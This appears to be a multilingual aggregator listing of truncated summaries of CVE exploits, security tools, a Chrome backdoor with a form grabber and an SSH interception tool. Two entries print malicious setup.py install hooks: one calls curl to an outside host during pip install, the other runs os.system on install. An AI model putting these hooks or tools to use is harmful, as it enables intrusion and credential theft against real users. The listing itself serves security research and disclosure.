osCommerce 2.3.4.1 - Remote Code Execution

osCommerce Online Merchant 2.3.4.1 contains a remote code execution caused by insecure default configuration and missing authentication in the installer workflow, letting unauthenticated attackers execute arbitrary PHP code via install4.php, exploit requires accessible /install/ directory after...

CVE-2024-25092

CVE-2024-25092 漏洞利用 概述 CVE-2024-25092 是一个影响 WordPress NextMove Lite 插件（版本 = 2.17.0）的高严重性漏洞。该漏洞允许订阅者级别及以上的用户在 WordPress 站点上安装和激活任意插件，原因是缺少授权检查。 详情 发布日期 : 2024-06-09 更新日期 : 2024-06-09 严重性 : 高 CVSS 分数: 8.8 CWE : CWE-862 - 缺少授权 受影响版本 : 从 n/a 到 2.17.0 的所有版本 CVSS 向量 CVSS 版本 : 3.1 向量字符串 :...

exploit_cve_2025_67303

exploitcve202567303 Create PoC for CVE-2025-67303 PoC original is https://www.doyensec.com/resources/DoyensecAdvisoryComfyUIManagerRCEviaCustomNodeInstall.pdf...

CVE-2018-1335

CVE-2018-1335 apache Tika-server 1.18 미만 버전의 RCE원격 코드 실행 취약점 명령어: sudo bash install.sh python2 exploit.py...

CVE-2025-2807

CVE-2025-2807: Motors プラグイン エクスプロイト作者: Nxploited | Khaled Alenazi ⚠️ 脆弱性概要 プラグイン: Motors 📅 単純さと重大な影響により、大規模な悪用が予想されます。 🚫 技術的詳細 脆弱なエンドポイント: /wp-admin/admin-ajax.php 脆弱なアクション: mvlsetupwizardinstallplugin 必要なアクセスレベル: Subscriber+ （ログインユーザー） 根本的な問題: currentusercan'installplugins' または同様のケイパビリティチェックの欠如 🚀...

CVE-2024-10728

CVE-2024-10728 PostX var ultpoptionpanel =...

CVE-2023-47840

CVE-2023-47840 Qode Essential Addons = 1.5.2 - 認証済み（Subscriber以上）による任意のプラグインインストール/有効化における認可欠如 説明: WordPress用Qode Essential Addonsプラグインは、バージョン1.5.2以前において、installplugin関数に対する機能チェックが欠如しているため、データの不正な変更に対して脆弱です。これにより、Subscriberレベルのアクセス権以上を持つ認証済み攻撃者が任意のプラグインをインストールおよび有効化できる可能性があります。 root@kitploit:...

CVE-2025-25101

🚀 CVE-2025-25101 - WordPress Munk Sites 插件 CSRF Exploit - Plugin Installation body font-family: Arial, sans-serif; text-align: center; background: f4f4f4; padding: 20px; h1 color: d9534f; h2 color: 5bc0de; .output margin-top: 20px; padding: 10px; background: white; box-shadow: 0 0 10px rgba0, 0, ...

gokart

GoKart - Go Security Static Analysis GoKart is a static analysis tool for Go that finds vulnerabilities using the SSA single static assignment form of Go source code. It is capable of tracing the source of variables and function arguments to determine whether input sources are safe, which reduces...

CVE-2026-70553-PoC

CVE-2026-70553 - MaxSite CMS 未认证远程代码执行漏洞 CVE-2026-70553 概念验证：通过安装端点向 database.php 持久化注入 PHP 代码，实现未认证远程代码执行。 免责声明 本 PoC 仅用于教育和授权安全研究目的 。作者不对因使用此代码造成的任何滥用或损害负责。仅对您拥有或已获得明确书面授权的系统进行测试。 漏洞概述 MaxSite CMS 105.2 至 109.5 版本的安装端点存在严重的未认证远程代码执行漏洞。dbdbprefix 参数在未经过滤的情况下直接拼接到 PHP 代码中，攻击者可以向...

chromebackdoor

VIDEO Install Text V 3.0 Install Video OLD Binder guide Module guide Form grabber plugins Facebook MessengerSpy plugins Jabber Notifier/ Hide Panel Windows infection Rubber Ducky Payload Require: pip install crxmake wine32 Let's go root@kitploit: python chromebackdoor.py user: root pass: toor KAL...

lscript

The lazy script has not been updated for a while due to me being very busy with my life. I will try my best to upload an update when I find the time Welcome to the LAZY script v2.1.4 A video Hackersploit made : https://www.youtube.com/watch?v=oBpo5sElrMY A video sstec made:...

volatility

This project is archived. See Volatility 3 for modern investigations: https://github.com/volatilityfoundation/volatility3 ============================================================================ Volatility Framework - Volatile memory extraction utility framework The Volatility Framework is a...

ssh-mitm

SSH MITM v2.3-dev Author: Joe Testa @therealjoetesta Overview This penetration testing tool allows an auditor to intercept SSH connections. A patch applied to the OpenSSH v7.5p1 source code causes it to act as a proxy between the victim and their intended SSH server; all plaintext passwords and...

columbus-server

Columbus server This repository is deprecated! ‼️ The server component is moved to https://github.com/elmasy-com/columbus. Columbus Project is an API first subdomain discovery service, blazingly fast subdomain enumeration service with advanced features. Columbus returned 638 subdomains of tesla.co...

CVE-2025-69604

CVE-2025-69604 Description This vulnerability is similar to the one that is described in CVE-2025-61229 – an attacker can edit the task template to get SuperDuper backup tasks to install an arbitrary package. The package can then run shell scripts as the root user and with the highest level of...

Malicious code in requests-asetwe (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c0316bf059751a9ece4fb034e225276529692338dc671ad9929e16faf8c843d5 setup.py of requests-asetwe unconditionally executes os.system'curl -s https://w5223hr2yr968bhwql8bv5n8ozuqih66.oastify.com' during pip install. The...

passera

Note: I no longer have the time to continue development of Passera, but pull requests are more than welcome! The number one requested item would be an updated Firefox extension, since the latest API change broke the current release. Passera A simple tool that allows users to have strong unique...

CVE-2026-21016-Malicious-PyPI-Package-Install-Hook-setup.py-Execution-

CVE-2026-21016 – Malicious PyPI Package Install Hook setup.py Execution Program Code Python root@kitploit: setup.py - Malicious package that executes during install from setuptools import setup import os This runs on pip install os.system'id /tmp/pwnedbypackage' setup name='harmless-pkg',...

CVE-2026-0848-Scanner---Herramienta-de-Detecci-n

🔍 CVE-2026-0848 Scanner NLTK の CVE-2026-0848 脆弱性（StanfordSegmenter における任意コード実行）を検出するためのツールです。 ⚡ インストール root@kitploit: git clone https://github.com/tu-usuario/CVE-2026-0848-Scanner.git cd CVE-2026-0848-Scanner pip install -r requirements.txt...